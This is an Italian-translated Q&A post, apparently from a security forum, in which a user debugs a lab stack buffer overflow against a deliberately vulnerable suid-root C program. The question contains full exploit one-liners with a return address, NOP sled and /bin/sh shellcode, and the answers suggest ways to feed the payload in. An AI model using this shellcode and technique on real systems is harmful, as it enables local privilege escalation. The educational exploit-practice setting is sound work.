L'escalation dei privilegi non riesce al di fuori di gdb

5

Ho un'applicazione con il seguente codice sorgente:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

Inside bof con strcpy(buffer, str) Sto cercando di ottenere l'escalation di privelege usando l'overflow del buffer. All'interno di gdb con il seguente comando sono in grado di aprire una nuova shell: python -c 'print "A" * 24 + "\x60\xf1\xff\xbf" + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' > badfile
Fuori da gdb so che l'indirizzo di memoria cambia un po 'quindi ho provato con lo stesso comando usando anche alcuni nops: python -c 'print "A" * 24 + "\x60\xf1\xff\xbf" + "\x90" * 30 + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' > badfile
Ho disabilitato ASLR, NX bit e stack di canarino. Anche se il risultato dell'ultimo comando sopra è Illegal instruction (core dumped) Cosa sto facendo di sbagliato qui? (Il bit suid dell'applicazione come root è abilitato)

    
posta user2581671 26.12.2015 - 17:32
fonte

2 risposte

1

Devi familiarizzare con la terminologia. Quello che stai cercando di fare non ha nulla a che fare con l'escalation dei privilegi. Quello che vuoi fare è l'esecuzione del codice attraverso l'overflow del buffer. Vi suggerisco di leggere l'input per far traboccare il buffer da stdin (gets), che è molto più semplice della lettura da un file. Puoi quindi fare

python -c "<python encoded binary payload>" | yourprogram

Questo dovrebbe fare il trucco.

    
risposta data 12.08.2016 - 15:50
fonte
0

Puoi inserire il payload in un programma python e invocare il codice come python payload.py; cat | /home/user/code

    
risposta data 08.08.2016 - 17:15
fonte

Leggi altre domande sui tag